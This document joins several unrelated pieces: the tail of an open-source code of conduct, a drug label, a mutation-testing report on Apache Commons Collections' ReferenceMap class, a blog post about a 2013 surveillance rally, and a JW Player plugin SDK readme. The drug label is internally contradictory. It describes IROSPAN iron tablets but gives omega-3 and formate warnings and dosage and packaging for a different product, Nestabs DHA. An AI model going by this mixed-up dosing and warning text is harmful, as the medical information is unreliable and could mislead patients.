Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
Enforcement
Members of the community who violate these rules - no matter how much they have contributed to the Mental Hues project, or how specialized their skill set - will be approached by Erin Cole. If inappropriate behavior persists after a discussion with Erin, the contributor will be asked to discontinue their participation in the Mental Hues project.
To report an issue: please contact
Erin Cole. All communication will be treated as confidential.
Attribution
This Code of Conduct is adapted from the Code of Conduct developed by
Kirstie Whitaker for the
Brain Networks in Python project and the
Contributor Covenant (
version 1.4). Both are licensed as
CC-BY 4.0. It also builds on the
Mozilla Science Lab's Code of Conduct.
The Mental Hues Code of Conduct was developed by
Kirstie Whitaker and
Erin Cole and is provided under a
CC-BY 4.0 license, which means that anyone can remix and reuse the content provided here, without seeking additional permission, so long as it is attributed back to the
Mental Hues project. Please remember to also attribute the
Brain Networks in Python project and
Contributor Covenant.


IROSPAN TABLET DESCRIPTION: Each light blue capsule-shaped film coated tablet has a pleasant sweet flavor with WC002 imprinted on one side.
SUCCINIC ACID TABLET DESCRIPTION: Each white round film coated tablet has a pleasant sweet flavor with WC imprinted on one side.
Clinical Pharmacology: Iron is an essential component in the formation of hemoglobin. Adequate amounts of iron are necessary for effective erthropoiesis. Iron also serves as a cofactor of several essential enzymes, including cytochromes that are involved in electron transport.
Folic acid is required for nucleoprotein synthesis and the maintenance of normal erthropoiesis. Folic acid is converted in the liver and plasma to its metabolically active form, tetrahydrofolic acid, by dihydrofolate reductase.
Vitamin B12 is required for the maintenance of normal erthropoiesis, nucleprotein and myelin synthesis, cell reproduction and normal growth. Intrinsic factor, a glycoprotein secreted by the gastric mucosa, is required for active absorption of Vitamin B12 from the gastrointestinal tract.
INDICATION AND USAGE: IROSPAN 24/6 is indicated for the treatment of all anemias that are responsive to oral iron therapy. These include: hypochromic anemia associated with pregnancy, chronic and/or acute blood loss, metabolic disease, post-surgical convalescence, and dietary needs.
Warnings: Ingestion of more than 3 grams of
omega-fatty acids per day has been shown to have potential antithrombotic
effects, including increased bleeding time and INR. Administration of omega-3
fatty acids should be avoided in patients on anticoagulants and in those known
to have an inherited or acquired bleeding diathesis.
Folic acid alone is improper therapy in the treatment of
pernicious anemia and other
megaloblastic anemias where vitamin B12 is deficient.
WARNING: Accidental
overdose of iron-containing products is a leading cause of fatal poisoning in
children under 6.  In case of
accidental overdose, call a doctor or poison control center immediately.
Precautions: Folic acid in doses above 0.1mg daily
may obscure pernicious anemia in that hematologic remission can occur while
neurological manifestations remain progressive. This product contains formate,
which if consumed above the recommended level, could cause visual impairment
and other health effects. Do not take more than the recommended amount. If you
are pregnant, nursing, or taking any medications consult your doctor before
use. Discontinue use and consult your doctor if any adverse reactions occur.
Not intended for use by persons under the age of 18.
Adverse Reactions: Allergic sensitization has
been reported following both oral and parenteral administration of folic acid.
Dosage and Administration: Nestabs DHA - One
tablet and one soft gel capsule daily or as directed by a physician.
How Supplied: Nestabs DHA tablets for oral
administration are supplied as six child-resistant blister cards containing 5
tablets and 5 softgel capsules each (NDC# 50967-317-30).


| 1 | /* | |
| 2 | * Licensed to the Apache Software Foundation (ASF) under one or more | |
| 3 | * contributor license agreements. See the NOTICE file distributed with | |
| 4 | * this work for additional information regarding copyright ownership. | |
| 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 | |
| 6 | * (the "License"); you may not use this file except in compliance with | |
| 7 | * the License. You may obtain a copy of the License at | |
| 8 | * | |
| 9 | * http://www.apache.org/licenses/LICENSE-2.0 | |
| 10 | * | |
| 11 | * Unless required by applicable law or agreed to in writing, software | |
| 12 | * distributed under the License is distributed on an "AS IS" BASIS, | |
| 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
| 14 | * See the License for the specific language governing permissions and | |
| 15 | * limitations under the License. | |
| 16 | */ | |
| 17 | package org.apache.commons.collections4.map; | |
| 18 | ||
| 19 | import java.io.IOException; | |
| 20 | import java.io.ObjectInputStream; | |
| 21 | import java.io.ObjectOutputStream; | |
| 22 | import java.io.Serializable; | |
| 23 | ||
| 24 | /** | |
| 25 | * A Map implementation that allows mappings to be | |
| 26 | * removed by the garbage collector. | |
| 27 | *
 | |
| 28 | * When you construct a ReferenceMap, you can specify what kind | |
| 29 | * of references are used to store the map's keys and values. | |
| 30 | * If non-hard references are used, then the garbage collector can remove | |
| 31 | * mappings if a key or value becomes unreachable, or if the JVM's memory is | |
| 32 | * running low. For information on how the different reference types behave, | |
| 33 | * see {@link java.lang.ref.Reference Reference}. | |
| 34 | *
 | |
| 35 | * Different types of references can be specified for keys and values. | |
| 36 | * The keys can be configured to be weak but the values hard, | |
| 37 | * in which case this class will behave like a | |
| 38 | *  | |
| 39 | * WeakHashMap. However, you can also specify hard keys and | |
| 40 | * weak values, or any other combination. The default constructor uses | |
| 41 | * hard keys and soft values, providing a memory-sensitive cache. | |
| 42 | *
 | |
| 43 | * This map is similar to | |
| 44 | * {@link org.apache.commons.collections4.map.ReferenceIdentityMap ReferenceIdentityMap}. | |
| 45 | * It differs in that keys and values in this class are compared using equals(). | |
| 46 | *
 | |
| 47 | * This {@link java.util.Map Map} implementation does not allow null elements. | |
| 48 | * Attempting to add a null key or value to the map will raise a NullPointerException. | |
| 49 | *
 | |
| 50 | * This implementation is not synchronized. | |
| 51 | * You can use {@link java.util.Collections#synchronizedMap} to | |
| 52 | * provide synchronized access to a ReferenceMap. | |
| 53 | * Remember that synchronization will not stop the garbage collector removing entries. | |
| 54 | *
 | |
| 55 | * All the available iterators can be reset back to the start by casting to | |
| 56 | * ResettableIterator and calling reset(). | |
| 57 | *
 | |
| 58 | * Note that ReferenceMap is not synchronized and is not thread-safe. | |
| 59 | * If you wish to use this map from multiple threads concurrently, you must use | |
| 60 | * appropriate synchronization. The simplest approach is to wrap this map | |
| 61 | * using {@link java.util.Collections#synchronizedMap}. This class may throw | |
| 62 | * exceptions when accessed by concurrent threads without synchronization. | |
| 63 | *
 | |
| 64 | * NOTE: As from Commons Collections 3.1 this map extends AbstractReferenceMap | |
| 65 | * (previously it extended AbstractMap). As a result, the implementation is now | |
| 66 | * extensible and provides a MapIterator. | |
| 67 | * | |
| 68 | * @see java.lang.ref.Reference | |
| 69 | * | |
| 70 | * @since 3.0 (previously in main package v2.1) | |
| 71 | * @version $Id: ReferenceMap.java 1477799 2013-04-30 19:56:11Z tn $ | |
| 72 | */ | |
| 73 | public class ReferenceMap<K, V> extends AbstractReferenceMap<K, V> implements Serializable { | |
| 74 | ||
| 75 | /** Serialization version */ | |
| 76 | private static final long serialVersionUID =<PHONE_NUMBER>138299607L; | |
| 77 | ||
| 78 | /** | |
| 79 | * Constructs a new ReferenceMap that will | |
| 80 | * use hard references to keys and soft references to values. | |
| 81 | */ | |
| 82 | public ReferenceMap() { | |
| 83 | super(ReferenceStrength.HARD, ReferenceStrength.SOFT, DEFAULT_CAPACITY, | |
| 84 | DEFAULT_LOAD_FACTOR, false); | |
| 85 | } | |
| 86 | ||
| 87 | /** | |
| 88 | * Constructs a new ReferenceMap that will | |
| 89 | * use the specified types of references. | |
| 90 | * | |
| 91 | * @param keyType the type of reference to use for keys; | |
| 92 | * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, | |
| 93 | * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, | |
| 94 | * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} | |
| 95 | * @param valueType the type of reference to use for values; | |
| 96 | * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, | |
| 97 | * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, | |
| 98 | * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} | |
| 99 | */ | |
| 100 | public ReferenceMap(final ReferenceStrength keyType, final ReferenceStrength valueType) { | |
| 101 | super(keyType, valueType, DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, false); | |
| 102 | } | |
| 103 | ||
| 104 | /** | |
| 105 | * Constructs a new ReferenceMap that will | |
| 106 | * use the specified types of references. | |
| 107 | * | |
| 108 | * @param keyType the type of reference to use for keys; | |
| 109 | * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, | |
| 110 | * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, | |
| 111 | * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} | |
| 112 | * @param valueType the type of reference to use for values; | |
| 113 | * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, | |
| 114 | * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, | |
| 115 | * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} | |
| 116 | * @param purgeValues should the value be automatically purged when the | |
| 117 | * key is garbage collected | |
| 118 | */ | |
| 119 | public ReferenceMap(final ReferenceStrength keyType, final ReferenceStrength valueType, final boolean purgeValues) { | |
| 120 | super(keyType, valueType, DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, purgeValues); | |
| 121 | } | |
| 122 | ||
| 123 | /** | |
| 124 | * Constructs a new ReferenceMap with the | |
| 125 | * specified reference types, load factor and initial | |
| 126 | * capacity. | |
| 127 | * | |
| 128 | * @param keyType the type of reference to use for keys; | |
| 129 | * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, | |
| 130 | * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, | |
| 131 | * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} | |
| 132 | * @param valueType the type of reference to use for values; | |
| 133 | * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, | |
| 134 | * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, | |
| 135 | * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} | |
| 136 | * @param capacity the initial capacity for the map | |
| 137 | * @param loadFactor the load factor for the map | |
| 138 | */ | |
| 139 | public ReferenceMap(final ReferenceStrength keyType, final ReferenceStrength valueType, final int capacity, | |
| 140 | final float loadFactor) { | |
| 141 | super(keyType, valueType, capacity, loadFactor, false); | |
| 142 | } | |
| 143 | ||
| 144 | /** | |
| 145 | * Constructs a new ReferenceMap with the | |
| 146 | * specified reference types, load factor and initial | |
| 147 | * capacity. | |
| 148 | * | |
| 149 | * @param keyType the type of reference to use for keys; | |
| 150 | * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, | |
| 151 | * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, | |
| 152 | * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} | |
| 153 | * @param valueType the type of reference to use for values; | |
| 154 | * must be {@link AbstractReferenceMap.ReferenceStrength#HARD HARD}, | |
| 155 | * {@link AbstractReferenceMap.ReferenceStrength#SOFT SOFT}, | |
| 156 | * {@link AbstractReferenceMap.ReferenceStrength#WEAK WEAK} | |
| 157 | * @param capacity the initial capacity for the map | |
| 158 | * @param loadFactor the load factor for the map | |
| 159 | * @param purgeValues should the value be automatically purged when the | |
| 160 | * key is garbage collected | |
| 161 | */ | |
| 162 | public ReferenceMap(final ReferenceStrength keyType, final ReferenceStrength valueType, final int capacity, | |
| 163 | final float loadFactor, final boolean purgeValues) { | |
| 164 | super(keyType, valueType, capacity, loadFactor, purgeValues); | |
| 165 | } | |
| 166 | ||
| 167 | //----------------------------------------------------------------------- | |
| 168 | /** | |
| 169 | * Write the map out using a custom routine. | |
| 170 | */ | |
| 171 | private void writeObject(final ObjectOutputStream out) throws IOException { | |
| 172 |
1
1. writeObject : removed call to java/io/ObjectOutputStream::defaultWriteObject → NO_COVERAGE |
out.defaultWriteObject(); |
| 173 |
1
1. writeObject : removed call to org/apache/commons/collections4/map/ReferenceMap::doWriteObject → NO_COVERAGE |
doWriteObject(out); |
| 174 | } | |
| 175 | ||
| 176 | /** | |
| 177 | * Read the map in using a custom routine. | |
| 178 | */ | |
| 179 | private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { | |
| 180 |
1
1. readObject : removed call to java/io/ObjectInputStream::defaultReadObject → NO_COVERAGE |
in.defaultReadObject(); |
| 181 |
1
1. readObject : removed call to org/apache/commons/collections4/map/ReferenceMap::doReadObject → NO_COVERAGE |
doReadObject(in); |
| 182 | } | |
| 183 | ||
| 184 | } | |
Mutations | ||
| 172 |
1.1 |
|
| 173 |
1.1 |
|
| 180 |
1.1 |
|
| 181 |
1.1 |


--- layout: post title: Co-Presence Event for 10/26 Rally Video categories: - Blog tags: - Coalitions - National Organization - Rally - Video status: publish type: post published: true meta: _edit_last: '3' pexeto_video: '' _oembed_8c8748fd822e7e17911bba3b1c06b3fc: author: login: Dennis email<EMAIL_ADDRESS>display_name: Dennis first_name: '' last_name: '' ---
On the 12th anniversary of the PATRIOT Act the Rally Against Mass Spying took place in Washington DC. October 26, 2013. Restore the Fourth SF Bay Area organized a livestream of the rally at the office of the ACLU of Northern California.
[pexyoutube pex_attr_src="http://www.youtube.com/watch?v=Nqb-qeQKhfM&feature=youtu.be" pex_attr_width="500"][/pexyoutube]


Thanks for your interest in building plugins for the JW Player! This SDK aims to help you with that, by offering three tools:
Note that you can use your IDE of choice for building plugins (e.g. Flex builder, Textmate or Adobe Flash). If you don't have Flex or Flash, you can use the free Flex SDK, which includes the MXMLC actionscript compiler. Every plugin template has a small build.sh and build.bat script that shows how to compile with MXMLC.
This SDK comes with a couple of simple plugin templates, each showcasing a specific interaction with the player. They are located in the plugins folder:
The templates can be seen in action in the testing page of this SDK. (in the example dropdown box).
The testing page contains a javascript application you can use to quickly test your plugin against various versions and configurations of the JW Player. You can select example tests, change the player, skin and plugins to load and change any flashvars.
Exactly which players, skins, plugins and examples to show can be set in the files/settings.js file. It is a javascript dictionary that is easy to understand and change, but be careful to correctly set commas and curly braces!
Next to the location of your plugin SWF file, the testing page also needs an XML file that describes your plugin. It is a simple xml format (example) that contains an overview and the list of flashvars for your plugin. You can also use this XML later on for submitting your plugin to LongTail Video.
Please note, this testing page must be run from a web server (local or remote), and should not be run from a local file.
The developer Wiki contains a wealth of resources for building plugins, including:
You can also find information and source code downloads from a string of plugins we built. Feel free to (re)use this code or create your own version of any of these plugins!
If you're happy with the way your plugin works, you can submit it to LongTail Video. We'll do a quick sanity check of your plugin and then list it in our addons section. You can also ask for donations of your plugin through our site to make some money. For more info about that, please contact us.